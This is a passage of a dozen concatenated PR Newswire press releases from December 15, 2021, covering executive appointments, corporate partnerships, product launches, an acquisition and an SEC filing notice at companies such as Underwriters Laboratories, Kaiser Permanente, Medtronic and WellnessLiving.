to the industry exposure that gives students an edge when they graduate." To get at the heart of a program's value proposition, Everspring employs a data-driven approach that analyzes the most in-demand skills and student needs. This is coupled with faculty-driven academic content and student-centric learning design, leading to outstanding outcomes for students and the university. Everspring empowers its university partners with 100% transparency, allowing them to monitor their program performance in real time through proprietary dashboards, which keeps everyone on the same page and creates lasting value. "Every program we create is done with student outcomes in mind," said Kathy Groth, vice president of learning design, "And their success depends on faculty who can bring ideas and concepts to life in an online environmentwhich makes faculty our most valuable collaborators in building distinctive, content-driven courses." Through their partnerships with Everspring, Santa Clara and William & Mary achieved an important balance between tradition and quality while breaking new ground as early adoptersand reaffirming two of the nation's most historic universities as leaders and innovators in online education. About Santa Clara University and the Leavey School of Business Founded in 1851, Santa Clara University sits in the heart of Silicon Valleythe world's most innovative and entrepreneurial region. With undergraduate programs in arts and sciences, business, and engineering, and graduate programs in six disciplines, the curriculum blends high-tech innovation with social consciousness grounded in the 450-year tradition of Jesuit, Catholic education. For more information, visit www.scu.edu/business. About the Raymond A. Mason School of Business William & Mary's Raymond A. Mason School of Business is rebuilding the global economy by training the next generation of revolutionary business leaders. It offers undergraduate and graduate instruction, including full-time, part-time, evening, executive and online MBA degree programs, as well as one-year masters programs in accounting, business analytics and marketing. The school develops successful business leaders by providing world-class instruction and unparalleled opportunities for mentorship and experiential learning. For more information, visit mason.wm.edu. About Everspring Everspring is a leading provider of education technology and services solutions for higher education. Our advanced technology, proven marketing approach, and robust faculty support and instructional design services deliver outstanding outcomes for our university partners, powering their success online. Everspring offers a range of full-service turnkey solutions, as well as standalone fee-for-service offerings, and innovative self-service products that enable universities to establish themselves as leaders in the digital delivery of higher education. Based in Chicago, Everspring serves a growing number of colleges and universities nationwide. Visit www.everspringpartners.com for more information. Don't just go digital. BE DIGITAL. SOURCE Everspring NORTHBROOK, Ill., Dec. 15, 2021 /PRNewswire/ -- Underwriters Laboratories is pleased to welcome Dr. Charlotte M. Farmer as senior vice president and chief operating officer (COO). Farmer will guide strategic growth and drive enterprise excellence by leading operations and building out a global infrastructure of partners. Her expertise and experience will help ensure organizational health, further positioning Underwriters Laboratories as a world leader in fundamental and applied safety science research. Dr. Charlotte Farmer Selected from a national search of top executive talent, Farmer will report to President and CEO Terrence R. Brady. She will provide essential leadership in achieving Underwriters Laboratories' goal of building a vibrant, adaptive campus of the future where breakthroughs across a broad range of safety science initiatives occur regularly and frequently. "We are delighted that Dr. Farmer has joined the Underwriters Laboratories executive team," Brady said. "She has the technical skill, extensive network, and a track record of successes that we need to shepherd Underwriters Laboratories through our ambitious growth agenda. As we expand the breadth, depth, and impact of our safety mission, her considerable strategic and transformation leadership expertise will help shape our organization's trajectory." As Farmer builds the support systems necessary for Underwriters Laboratories to investigate a wide array of safety challenges and emerging threats, she will partner with executives across several sectors to forge relationships with universities, nongovernmental organizations, and government agencies. "I am thrilled to be a part of the Underwriters Laboratories family," Farmer said. "The organization is a storied brand whose mission is vital not only to understanding and exploring global safety challenges, but also at a global scale in the advancement of transformative research, standards development, and partner collaborations. Having led operations at another nationally recognized research and development organization, I'm both humbled and excited by the enormity of Underwriters Laboratories' mission as a preeminent safety science organization and look forward to extending the reach and impact of our safety science work." Farmer comes to Underwriters Laboratories after a decade at The MITRE Corporation, where she directed operations for 8,000 employees. She also worked directly with major federal government clients to foster technological innovation through laboratories and processes that helped speed ideas to market. During times of significant national stresses such as the pandemic and terrorism, she reached out rapidly to principals in high-tech and related industries, academia, and government, forming agile coalitions that built resources to help counteract the threats. Farmer graduated magna cum laude with a bachelor's degree in chemical engineering from Tennessee Technological University. She holds a Master of Science in chemical engineering from the University of Tennessee, an MBA from the University of North Carolina Kenan-Flagler Business School at Chapel Hill, and a Doctor of Engineering from George Washington University in Washington, D.C. Among many professional honors, Farmer was named a 2021 Paul Harris Fellow by Rotary International and included in Savoy Magazine's listing of Most Influential Black Executives in Corporate America in 2020. She currently serves as board chair of Mobility Unlimited Technology Worldwide, a nonprofit startup that performs research and data collection to safely adapt spaces for wheelchair users, blind citizens, and mobility aid users. She also holds board membership or advisory roles with HireVue, Crittenton Services of Greater Washington, and The National GEM Consortium. About Underwriters Laboratories Inc. Underwriters Laboratories is dedicated to advancing the UL public safety mission through the discovery and application of scientific knowledge. We conduct rigorous independent research and analyze safety data, convene experts worldwide to address risks, share knowledge through safety education and public outreach initiatives, and develop standards to guide the safe commercialization of evolving technologies. Our organization employs collaborative and scientific approaches with partners and stakeholders to drive innovation and progress toward improving safety, security and sustainability, ultimately enhancing societal well-being. We fund our work through grants, the licensing of standards documents and the business activities of our wholly owned subsidiary, UL Inc., which advances our shared mission through testing, verification and certification, training and advisory services, data-driven reporting and decision-making tools for customers around the world. For more information about Underwriters Laboratories, visit UL.org. For more information about UL Inc., visit UL.com. CONTACT: Mimi Bhattacharyya Director of Strategic Communications Underwriters Laboratories Inc. [email protected] www.ul.org SOURCE Underwriters Laboratories Inc. NICOSIA, Cyprus, Dec. 15, 2021 /PRNewswire/ -- Leading company Upbility Publications LTD has unveiled helpful and ready-to-use therapy materials for children on the autism spectrum. "Autism Spectrum Disorder is a developmental disorder that frequently turns the learning of basic and complex skills into a challenge. That's where Upbility Publications LTD comes into the picture," says company founder Dimitris Nikolopoulos. Upbility is the outcome of the effort undertaken by a group of specialists and educators to create a library of Ready-to-Use resources aimed at fulfilling all the special therapy and education needs of children and adolescents. Upbility.net leads the charge in providing the necessary tools and autism therapy materials to provide support in the areas of behaviour, language development, communication, social skills, and so much more. It offers an entire set of autism resources, picture cards and worksheets that can be used by families and specialists alike, either at home or in the classroom. For example, the Picture Cards game is an easy-to-use intervention tool to build students' ability to identify similarities and differences between objects. Brimming with full-colour pictures and 240 targeted questions, it aims to boost students' critical thinking and categorisation skills while keeping them eager to learn. The pack includes 60 printable double-sided picture cards and three suggestions for activities with the use of two special dice. It also includes a part that is specially designed for tablets so that the cards can also be used autonomously. On the other hand, Upbility's new series of card-based activities entitled "Building Social Skills" provides a fabulous set of fun and engaging activities to help learners talk about the social situations they find challenging or confusing and open up to express how they understand their own and others' feelings. Upbility has selected a number of real situations at school, at home and during outdoor activities, and situations geared mainly towards emotional understanding. The four eBooks pack comprises 240 double-sided printable cards and three suggestions for activities. The autism resources published by Upbility.net have been designed by highly qualified and experienced professionals in a way to be perfectly tailored to their needs. Dimitris assures the company has made sure they are tested and renewed on an ongoing basis. Those who want to learn more about Upbility and the ready-to-use therapy materials available may visit the website for more information. Upbility is in multiple languages Greek: https://upbility.gr French: https://upbility.fr Italian: https://upbility.it Spanish: https://upbility.es Contact Details Company: Upbility Publications LTD Name: Dimitrios Nikolopoulos Phone: # +357 22007137 Email: [email protected] Address: 81-83 Grivas Digenis Avenue Country: Cyprus Website: https://upbility.net/ SOURCE Upbility Publications LTD NYSE American: UEC CORPUS CHRISTI, Texas, Dec. 15, 2021 /PRNewswire/ - Uranium Energy Corp (NYSE American: UEC) the "Company" or "UEC") is pleased to report, in accordance with NYSE American requirements, the filing of the Company's quarterly report on Form 10-Q for the three months ended October 31, 2021 with the U.S. Securities and Exchange Commission (the "SEC"). This Form 10-Q filing, which includes the Company's condensed consolidated financial statements, related notes thereto and management's discussion and analysis, is available for viewing on the SEC's website at http://www.sec.gov/edgar.shtml or on the Company's website at www.uraniumenergy.com. About Uranium Energy Corp Uranium Energy Corp is a U.S.-based uranium mining and exploration company. As a leading pure-play American uranium company, UEC is advancing the next generation of low-cost and environmentally friendly In-Situ Recovery (ISR) mining uranium projects. In South Texas, the Company's hub-and-spoke operations are anchored by our fully-licensed Hobson Processing Facility which is central to our Palangana, Burke Hollow, Goliad and other ISR pipeline projects. In Wyoming, UEC controls the Reno Creek project, which is the largest permitted, pre-construction ISR uranium project in the U.S. Additionally, the Company's diversified holdings provide exposure to a unique portfolio of uranium related assets, including: 1) major equity stake in the only royalty company in the sector, Uranium Royalty Corp; 2) physical uranium warehoused in the U.S.; and 3) a pipeline of resource-stage uranium projects in Arizona, Colorado, New Mexico and Paraguay. In Paraguay, the Company owns one of the largest and highest-grade ferro-titanium deposits in the world. The Company's operations are managed by professionals with a recognized profile for excellence in their industry, a profile based on many decades of hands-on experience in the key facets of uranium exploration, development and mining. Stock Exchange Information: NYSE American: UEC WKN: AJDRR ISN: US916896103 Safe Harbor Statement Except for the statements of historical fact contained herein, the information presented in this news release constitutes "forward-looking statements" as such term is used in applicable United States and Canadian laws. These statements relate to analyses and other information that are based on forecasts of future results, estimates of amounts not yet determinable and assumptions of management. Any other statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance (often, but not always, using words or phrases such as "expects" or "does not expect", "is expected", "anticipates" or "does not anticipate", "plans, "estimates" or "intends", or stating that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved) are not statements of historical fact and should be viewed as "forward-looking statements". Such forward looking statements involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Such risks and other factors include, among others, the actual results of exploration activities, variations in the underlying assumptions associated with the estimation or realization of mineral resources, the availability of capital to fund programs and the resulting dilution caused by the raising of capital through the sale of shares, accidents, labor disputes and other risks of the mining industry including, without limitation, those associated with the environment, delays in obtaining governmental approvals, permits or financing or in the completion of development or construction activities, title disputes or claims limitations on insurance coverage. Although the Company has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking statements, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements contained in this news release and in any document referred to in this news release. SOURCE Uranium Energy Corp Related Links http://www.uraniumenergy.com/ "USHH Backstory Pass featuring Remy Martin is a very personal experience and unlike any other holiday celebration in Las Vegas," said Usher. "You'll join my journey and step into the history of my career while different musical genres are brought to life and accompanied by Remy Martin cocktails. I'm thrilled to be opening this experience to fans as we get ready to celebrate the New Year." "Remy Martin, Usher and a one-of-a-kind musical cocktail journey in one of the most culturally vibrant and exciting cities in the world is not to be missed," said Tina Reejsinghani, Vice President at Remy Martin Americas. "USHH Backstory Pass is a unique experience that brings to life the award-winning 'Team Up for Excellence The Film', paired with Usher's music and Remy Martin cocktails." The "USHH Backstory Pass" perfectly pairs elements of Usher's personal journey and success as an artist with the timeless excellence of Remy Martin. Audiences are welcomed with a Sidecar cocktail and guided through a series of experiences inspired by Usher and Remy Martin's collaboration, "Team Up for Excellence The Film." Each of the encounters are a cultural cocktail pairing intended to surprise and delight featuring different time periods of Usher's life and culminating in a collective Remy Martin XO toast and intimate performance by Usher. "Team Up For Excellence The Film" highlights the cultural connection between Cognac and American music since 1917 in France, and how the two have been synonymous ever since. In The Film, imagined in collaboration with FRED & FARID New York, Usher and Remy Martin1738 Accord Royal travel through decades from the 1920's to present day, paying tribute to the celebrated musical styles, multicultural connections and rhythms of the past that inspired future artists, including Usher. Teaming up with Usher and Remy Martin, are globally recognized creatives including Raphael Saadiq, worldrenowned musical composer; Marci Rodgers, AcademyAward winning costume stylist; Aakomon Jones, award winning dance choreographer; and director of the production; Jake Nava. Historically, moments of artistic excellence have sparked cultural movements that paved the way for creative leaders to innovate, while paying homage to their roots and those that came before them. The same respect for heritage is honored by Remy Martin and Cellar Master, Baptiste Loiseau, who has inherited the savoirfaire of the House from previous generations of cellar masters. Through this transmission of knowledge, Remy Martin has been producing Cognac Fine Champagne for nearly three centuries. Remy Martin1738 Accord Royal continues to encompass the spirit of celebrating depth of character and the excitement of indulging in moments of collective success. Teamwork has always been at the heart of Remy Martin and the desire to team up with others in a quest for excellence has been a part of the Remy Martin ethos since 1724. To continually go further and aspire to achieve more is a reflection of the Centaur, Remy Martin's brand figurehead for 150 years. Notably, "Team Up For Excellence The Film" won the Cannes Lion Bronze Award for a film in the Food and Drink category. In addition, Remy Martin ranked #3 amongst all Spirit brands on social media in a 2021 Brand Champions Report. For more information visit RemyMartin.com and follow along on social media at: Instagram @RemyMartinUS | Twitter @RemyMartinUS | Facebook RemyMartinUSA Tickets to see Usher and the USHH Backstory Pass featuring Remy Martin are available on select dates December 23, 2021, through and January 1, 2022, at vegas.usherworld.com ABOUT REMY MARTIN Since 1724, Remy Martin has produced premium spirits that consistently appeal to the world's most discerning connoisseurs. A profound love of the land, a continuity of family ownership and a passionate commitment to excellence has sustained Remy Martin for nearly three centuries. As a result of its masterful production and generations of tradition in Cognac, Remy Martin today produces Fine Champagne Cognacs, including Remy Martin XO, Remy Martin Tercet, Remy Martin 1738 Accord Royal and Remy Martin V.S.O.P For additional information, visit www.RemyMartin.com. ABOUT REMY MARTIN 1738 Born from the cask and named after a royal approval, Remy Martin 1738 Accord Royal is a truly distinctive cognac. Its exceptional smoothness and rounded oakiness starts with the toasting of the casks, before the eauxdevie even begin to mature. This unique aromatic profile is then revealed through a rigorous selection of eauxdevie. Recognized for its outstanding quality year after year in international competitions, Remy Martin 1738 Accord Royal celebrates true depth of character and the sheer indulgence of sharing good moments. ABOUT THE USHH BACKSTORY PASS WITH REMY MARTIN "The USHH Backstory Pass ft. Remy Martin" combines elements of Usher's personal journey and success as an artist with the timeless excellence of Remy Martin. Inspired by the Remy Martin and Usher collaboration "Team Up For Excellence The Film," this multisensory experience invites the audience on a journey to discover the cultural influence of these parallel entities. This groundbreaking creative endeavor is a product of history and experience, first written in script, then expressed through film and now brought to life in a curated space with the same authenticity first conveyed in "Team Up For Excellence The Film". For additional information, visit https://vegas.usherworld.com/. SOURCE Remy Martin In this role, Benavides will be responsible for managing the legal, compliance, and regulatory functions and will develop and implement an integrated approach to foster a better understanding of enterprise risks and solutions while advancing support of the organization's business strategies. She will report to the chair and chief executive officer, Greg A. Adams , and will continue to serve on the organization's National Executive Team. Benavides will take on this new role upon the retirement of Mark Zemelman, who is stepping down from his role as senior vice president and general counsel after 30 years of service to Kaiser Permanente. Benavides joined Kaiser Permanente in 2015 as senior vice president and chief compliance and privacy officer, responsible for planning, oversight, and coordination of activities to drive effective compliance with regulatory requirements and policies across Kaiser Permanente. In collaboration with leadership across the organization, she has led the development of strategies to embed ethics and compliance into the core design and operations of the organization and foster a work environment where employees and physicians do the right thing to protect the members, patients, and communities Kaiser Permanente serves. Prior to joining Kaiser Permanente, Benavides served as chief compliance officer for Tenet Healthcare, where she managed ethics and compliance programs, and also served as senior regulatory counsel during her 10-year tenure there. Before joining Tenet, she served as legal counsel for Caremark Rx, a pharmacy benefit management company, and prior to that role was in private practice with the law firm Locke Lord, LLP. She is a member of the board of directors of the CDC Foundation and The Trevor Project, the leading national organization providing crisis intervention and suicide prevention services to LGBTQ youth. Benavides holds a law degree from the University of Iowa College of Law. About Kaiser Permanente Kaiser Permanente is committed to helping shape the future of health care. We are recognized as one of America's leading health care providers and not-for-profit health plans. Founded in 1945, Kaiser Permanente has a mission to provide high-quality, affordable health care services and to improve the health of our members and the communities we serve. We currently serve approximately 12.5 million members in 8 states and the District of Columbia. Care for members and patients is focused on their total health and guided by their personal Permanente Medical Group physicians, specialists, and team of caregivers. Our expert and caring medical teams are empowered and supported by industry-leading technology advances and tools for health promotion, disease prevention, state-of-the-art care delivery, and world-class chronic disease management. Kaiser Permanente is dedicated to care innovations, clinical research, health education, and the support of community health. For more information, go to about.kp.org Contact: Marc Brown [email protected] 510.407.2592 SOURCE Kaiser Permanente LONDON, Dec. 15, 2021 /PRNewswire/ -- The Global Brand Awards is an annual event held by Global Brands Magazine (GBM), an international publication headquartered in the UK. The award aims to recognise global brands achieving excellence in performance across a broad range of sectors while keeping its readers updated on the branding world's key trends. VCBR was evaluated based on its commitments and efforts in the pursuit of outstanding values including: innovation, quality, brand awareness, technology application, risk management, customer service that contribute to promote the dynamic business environment of the remittance industry in Vietnam. To meet the above criteria, VCBR has remarkably improved its operational procedures, diversified its products and enhanced its customer's experience so as to reaffirm the company's quality of services and trust with customers as well as partners. Commenting on Vietcombank Remittance Company winning the awards, ShivKumar (CEO) of Global Brands magazine, said, "Vietcombank Remittance Company has not only broken the boundaries of moving money across the Vietnamese border, but smashed them with their latest efforts of bringing excellence in money transfer services to the country. We're so impressed with their latest performance that we've decided to bestow them with two awards. An outstanding achievement!" Commenting on winning the award, Mr. Dao Minh Tuan (deputy CEO), said, "VCBR was established with the main task of facilitating remittances from abroad to Vietnam, supporting the ecosystem of Vietcombank's products and services, following its vision and strategic objectives for 2025: maintaining Vietcombank's position as the No. 1 retail bank in Vietnam and becoming one of the 100 largest banks in Asia; one of the 300 largest banking and financial groups in the world and one of the 1000 largest listed companies in the world. Despite just operating for 4 years, VCBR has caught up with and then speeded up to compete fairly with other remittance companies having their enduring and robust existence of up to 15 - 20 years in the market. To record such great achievements, thanks to the steadfast efforts of the entire VCBR team in providing the best service experience and building solid trust with customers and partners. The two awards obtained from GBM are to be a significant affirmation and recognition of VCBR's efforts and achievements in providing the best service to the market. However, VCBR will have to encourage further innovation in its business operation towards the goal of becoming the Number 1 Remittance Company in Vietnam." About Vietcombank Remittance Company The Covid-19 pandemic has had a disastrous impact on the global economy in the last 2 years. A huge number of companies have been forced into bankruptcy and the unemployment rates across the world have reached high records. The pandemic also had a serious impact on money transfer and remittance companies; Many of them had to change their ways of doing business in order to weather the socioeconomic changes and disruptions caused by the epidemic. Particularly in Vietnam, several remittance companies constantly had to narrow the scope and scale of their operations. According to Mr. Nguyen Hoang Minh - Deputy CEO of State Bank of Vietnam Ho Chi Minh branch - the flow of remittance to Ho Chi Minh city till November of this year is approximately 6.2 billion USD, which has already surpassed the number for the entire year of 2020 at 6.1 billion USD. Under this circumstance, VCBR has proactively adapted to the chaos along with encouraging innovation. It has also undertaken its operation to be more flexible to the coronavirus waves in Vietnam. Therefore, VCBR's business performance has been not only just safe and sound but also more profitable with high efficiency. According to World Bank, the flow of remittances to Vietnam in 2021 will see an increase to 18.1 billion USD from 17.2 billion USD in 2020. This year Vietnam will still be in the top 10 countries in receiving remittances. VCBR has made a striking growth in terms of volumes with a forecasted increase of over 60% compared to 2020, ranking in the Top 2 remittance companies in Vietnam. About Global Brands Magazine (England) Global Brands Magazine (GBM) has been at the forefront, bringing news, views and opinions on brands shaping the future of their industry. The UK-based magazine provides its readers with the latest news and information on 'best-in-class brands across the globe. Each year, GBM develops a series of awards for companies that stand out, having a unique vision, exceptional service, innovative solutions and consumer-centric products among their industry leaders. About Global Brand Awards Global Brand Awards honours brands for their excellence in performance and rewards companies across different sectors for the quality of their services. The Brand Awards highlight accomplishments of organisations that have performed remarkably well in finance, education, hospitality, automotive, lifestyle, education, real estate, technology and several more. Global Brand Awards recognise vital players who progress towards excellence by providing a platform to acknowledge their efforts. In addition, GBM strives to create awareness concerning the significance of such organisations and rewards them for their notable efforts with the ultimate global recognition. SOURCE Global Brands Publications Limited "I truly believe technology is the path forward to improving human welfare," said Geoff Martha, Chairman and CEO of Medtronic. "This new partnership and collaboration demonstrate the opportunity to use technology to tackle health challenges in a localized, grassroots way. By taking a data-informed approach, we can help improve access and outcomes for patients with chronic conditions in southern New Jersey." "This partnership presents a significant opportunity to accelerate health equity and better outcomes for individuals and families in our community," said Dennis W. Pullin, FACHE, president and CEO of Virtua Health. "Together, we will apply the latest research and innovation to the fundamentals of community-based care, allowing us to identify and empower those who need support to achieve the best-possible quality of life." The scope of the partnership includes the following projects and will expand over time. Heart Health: Medtronic plc and Virtua Health will develop a program to optimize care for hospital patients diagnosed with heart failure, with a focus on slowing the progression of the disease and enhancing the experience of both patient and provider. By employing Medtronic's data-driven, decision-support tools, Virtua clinicians will provide ongoing resources post-hospitalization, minimizing the likelihood of readmission and creating sustainable, enriching solutions for the individual. Outpatient Care Continuity: The partnership will also optimize patient care in high-value outpatient settings, including ambulatory surgery centers. Additionally, Medtronic plc and Virtua will expand Virtua's hospital at home program, which is due to launch officially in early 2022 and aims to reduce the resource-strain on the health system while allowing eligible patients to heal from the comfort of home. Medtronic LABS' collaboration intends to address population health in the following ways: Community Health and the Cherry Hill Free Clinic: Community health workers and clinicians at the Cherry Hill Free Clinic will utilize Medtronic LABS' digital health platform, extending their reach through mobile tools and point-of-care diagnostics. Those identified as having (or being at risk for) chronic illnesses, such as Type 2 diabetes or hypertension, will then connect to the Cherry Hill Free Clinic for follow-up care. Over time, the platform will become more sophisticated and specific as the data accumulates and reveals localized trends and challenges. Food Access: Medtronic LABS will also support Virtua's Eat Well food access programs, specifically the Food Farmacies located inside Virtua Mount Holly Hospital and the Virtua Health & Wellness Center Camden. Medtronic LABS and Virtua will identify those at risk for food insecurity due to financial circumstances or limited health literacy and connect them to free food, nutrition education, and social-work services. "I am honored that Medtronic LABS and Virtua recognize the essential services we provide at the Cherry Hill Free Clinic, and that they are combining their resources and expertise toward enhancing continuity of care for existing and prospective patients," said Jubril Oyeyemi, MD, founder and chief medical officer of the Cherry Hill Free Clinic. "The CDC estimates that 20 percent of Camden County residents do not have health insurance. By creating pathways to care, we build healthier communities." "Medtronic LABS has trained more than 2,000 health workers and provided screenings to more than a million people worldwide. To date, we have focused our efforts on communities in Kenya, Ghana, India, and the Philippines, which is why we are thrilled to partner with Virtua Health on our first U.S.-based endeavor," said Ruchika Singhal, vice president of Medtronic LABS. "In time, this collaboration will create scalable, replicable improvements to the care-delivery model while advancing health and wellness on an individual level." About the Partners Medtronic: Bold thinking. Bolder actions. We are Medtronic. Medtronic plc, headquartered in Dublin, Ireland, is the leading global healthcare technology company that boldly attacks the most challenging health problems facing humanity by searching out and finding solutions. Our Mission to alleviate pain, restore health, and extend life unites a global team of 90,000+ passionate people across 150 countries. Our technologies and therapies treat 70 health conditions and include cardiac devices, surgical robotics, insulin pumps, surgical tools, patient monitoring systems, and more. Powered by our diverse knowledge, insatiable curiosity, and desire to help all those who need it, we deliver innovative technologies that transform the lives of two people every second, every hour, every day. Expect more from us as we empower insight-driven care, experiences that put people first, and better outcomes for our world. In everything we do, we are engineering the extraordinary. For more information on Medtronic (NYSE:MDT), visit www.Medtronic.com and follow @Medtronic on Twitter and LinkedIn. Medtronic LABS is an independent, non-profit structure with multiple entities including an operating foundation, a social business, an in-country non-profit, and for-profit subsidiaries. Medtronic LABS is setting out to design the health system of the future: one that is equitable, tech-enabled, and patient-centered. To date, Medtronic LABS has screened more than 1M patients and improved clinical outcomes for over 35K patients in Kenya, Ghana, India, and the Philippines. For more information, visit mdtlabs.org. Virtua Health is an integrated health care system and the trusted partner for personalized health care and wellness for communities in southern New Jersey. With more than 280 locations and 14,000 colleagues, Virtua provides high-quality care with more than two million annual encounters across the full range of community and tertiary health services from preventive care to urgent care through specialty services in cancer, women's health, neuroscience, and orthopedics to complex minimally invasive cardiac surgery and organ transplantation. Performing more than 175,000 surgeries at its hospitals and network of ambulatory centers, Virtua is one of the largest providers of surgery in the state. As a not-for-profit leader, Virtua continues to improve social determinants in health and has distributed more than 160,000 pounds of fresh produce in underserved areas to address food insecurity. Virtua is advancing important partnerships into the future to help you be well, get well, and stay well. For more information, visit virtua.org. Cherry Hill Free Clinic (CHFC) is an independent 501(c)(3) with the mission of providing free primary care to the uninsured and under-insured. CHFC is supported by Virtua Health, which provides lab, radiology and, in some cases, specialty care to CHFC patients. For more information, visit cherryhillfreeclinic.org. Any forward-looking statements are subject to risks and uncertainties such as those described in Medtronic's periodic reports on file with the Securities and Exchange Commission. Actual results may differ materially from anticipated results. SOURCE Virtua Health Georgia will be promoted as a safe destination for all types of travelers. Nature lovers and adventurers get to enjoy Georgia's unique, green, and breathtaking landscapes with lots of outdoor activities. Mamoun Hmedan, Chief Commercial Officer and Managing Director, MENA and India, Wego, said: "Georgia ranks among the top 5 leisure destinations for MENA travelers. As international travel gradually resumes, we are confident that this partnership will drive more awareness of Georgia's offerings and help with the tourism recovery. Around 100,000 searches were performed on our platform in November 2021." GCC travelers get to enjoy long weekend getaways in Georgia given its proximity, especially in two of its famous cities: Batumi and Tbilisi. It's the perfect choice for a holiday. The cities offer a vibrant lifestyle, mesmerizing views, and hidden gems to explore. Medea Janiashvili, Acting Head of GNTA, said: "GCC Countries are one of our main strategic target markets. Once traveling to Georgia, travelers from these countries tend to have longer stays, repeat visits as well as higher expenditures. Nevertheless, the world pandemics, this year we have recovered various direct flights from these countries. We have reached 50% of international visits and income in 2021 in comparison to 2019, as we opened the borders and started welcoming guests. We hope that the partnership with GCC's leading travel platform WEGO will gain Georgia more popularity in this region." The types of travelers leading the searches to Georgia are solos 63%, then couples 22% and families 15%. The duration of stay for GCC travelers searching for a holiday in the country ranges between 4 and 7 days. The country is also famous for its eco-tourism, thanks to its cultural heritage and wide range of ecosystems from subtropical rainforests, mountain steppes to alpine ecosystems. Travelers can enjoy the national parks, wildlife as well as experience horseback riding. Georgia is known to be the land of hospitality. Georgian food is a must try, from Supra to everyday meal, you will get the feel of the authentic Georgian cuisine. With the winter season approaching, travelers get to choose from a wide array of winter activities and festivities. Gudauri, Bakuriani, Goderdzi and Mestia offering unique experiences at their ski resorts. About Wego Wego provides award-winning travel search websites and top-ranked mobile apps for travelers living in the Asia Pacific and the Middle East regions. Wego harnesses powerful yet simple to use technology that automates the process of searching and comparing results from hundreds of airline, hotel and online travel agency websites. Wego presents an unbiased comparison of all travel products and prices offered in the marketplace by merchants, both local and global, and enables shoppers to quickly find the best deal and place to book whether it is from an airline or hotel directly or with a third-party aggregator website. Wego was founded in 2005 and is headquartered in Dubai and Singapore with regional operations in Bangalore Jakarta and Cairo. SOURCE Wego 1st of its Kind Machine Learning Technology for the Fitness & Wellness Business Space TORONTO, Dec. 15, 2021 /PRNewswire/ - As a fitness business owner, losing members comes with the job. You can always try to win them back, but what if you could identify at-risk clients before they cancel their membership, stop making purchases, and no longer book services? WellnessLiving, 2021 Deloitte Technology Fast 50 Canada and Fast 500 North America recipient, is excited to announce the release of their Isaac AI churn risk predictor. Isaac AI's machine learning technology analyzes thousands of data points to predict whether any clients are at risk of churning in the next 30 days. "With about half of all new gym and fitness members quitting within three months, the ability to predict client churn risk ahead of time is a game-changing advantage that will revolutionize how you retain your clients. It's like giving you a glimpse into the future," says WellnessLiving COO and Co-Founder, Sasha Davids. "Once Isaac identifies a client is at risk of leaving, you can proactively call, email, or send them an SMS message to encourage them to stay with a personalized message." Isaac AI provides you with a Client Churn Risk Report that can be added to your WellnessLiving Dashboard. With WellnessLiving's extensive list of marketing and retention tools, you can proactively prevent churn, all in one platform. A study from Fredrick Reichheld, the inventor of the net promoter score and author of "Loyalty Rules! How Today's Leaders Build Lasting Relationships," found that a mere 5% increase in customer retention can increase profits from 25% to 95%. "We worked very closely with Zijiang Yang, a PhD Professor from the School of Information Technology at York University, to create Isaac AI," says WellnessLiving CEO and Co-Founder, Len Fridman. "During the course of 12 months, she used millions of data points to create our churn-predicting algorithm. In early 2022, we plan to connect Isaac AI churn predictor to our automated marketing suite to further streamline retention strategies." For more information on Isaac AI visit: https://www.wellnessliving.com/features/isaac/ About WellnessLiving WellnessLiving was founded in Toronto, Canada, by Len Fridman (CEO) and Sasha Davids (COO). The pair had a dream to create a truly affordable, all-in-one, cloud-based solution, offering cutting-edge business management tools for fitness and wellness businesses around the world. Dynamic features like their automated marketing suite, advanced reporting, easy booking tools, and rewards program allow business owners to attract, engage, and convert their clients. WellnessLiving is one of the fastest-growing software companies in North America with over 15 million users worldwide and are the proud recipients of the 2021 Deloitte Technology Fast 50 and Fast 500 awards. WellnessLiving is the "software company with a heart" and always treats their customers like family. For more information visit www.wellnessliving.com SOURCE WellnessLiving ST. LOUIS, Dec. 15, 2021 /PRNewswire/ -- WILsquare Capital, a St. Louis-based private equity firm, announced today it has completed the acquisition of TekBrands, LLC ("TekBrands"), a leading designer and eCommerce-based marketer of branded products to quilting and crafting enthusiasts and retailers. The company is headquartered in Omaha, Nebraska. Terms of the transaction were not disclosed. "I am thrilled to see WILsquare as the new partner for TekBrands," said Steve Nabity, who cofounded the company with his wife Lynette in 1990. "WILsquare immediately recognized and values what the leadership team has built and shows a clear commitment to continued growth. I'm excited for the future of the organization and know I have found the right partner for the business going forward." Following the transaction, Steve Nabity will continue to serve on the company's board. "The leadership team and I are pleased to partner with WILsquare," said Mary Kay O'Connor-Wente, CEO of TekBrands. "We immediately knew they were the best partner to take us into the next level of growth. The culture and values of WILsquare fit perfectly with TekBrands, and we are excited about their commitment to support the future growth of the business." The company's AccuQuilt and AccuCut brands offer quilting and crafting enthusiasts faster, safer and more accurate solutions for cutting fabric and paper materials used in a wide range of creative projects. The company's MemoryStitch brand offers quilting services that convert customer-provided tee-shirts and fabrics into custom finished quilts. "We are delighted to be a part of the TekBrands story and to have the opportunity to invest behind this talented management team," said Drew Caylor, Managing Director at WILsquare Capital. "The company has succeeded, not only in engineering great products, but also in creating a multi-channel platform and digital ecosystem that engages and inspires the creativity of quilters and crafters." "The Midwestern values and distinct culture of continuous improvement at TekBrands resonate strongly with us," said Andrew Scharf, Director at WILsquare Capital. "We look forward to preserving and expanding upon the legacy that Steve and the management team have built over more than three decades." The acquisition of TekBrands marks the third investment for WILsquare this year, following the acquisitions of Tri-State Wholesale Flooring, LLC in April and Rock Energy Systems, LLC in September. TekBrands is the third platform investment in WILsquare Capital Partners Fund II. About WILsquare Capital WILsquare Capital is a St. Louis-based private equity firm focused on acquiring and growing lower-middle market businesses in the Midwest and Southern United States, with an emphasis on business services, niche manufacturing, distribution and technology companies. The firm is currently investing out of WILsquare Capital Partners Fund II, L.P. SOURCE WILsquare Capital LLC WASHINGTON, Dec. 15, 2021 /PRNewswire/ -- The Wireless Innovation Forum (WInnForum) welcomed Max Solondz of Verizon and Marc Adrat of Fraunhofer to its Board of Directors last week upon member approval at its Annual Meeting. Max Solondz is a subject matter expert within the Advanced Technology Strategy Group at the Verizon CTO Office. In this role, he is responsible for radio network and product strategies built around new radio technologies and new frequency bands, as well as 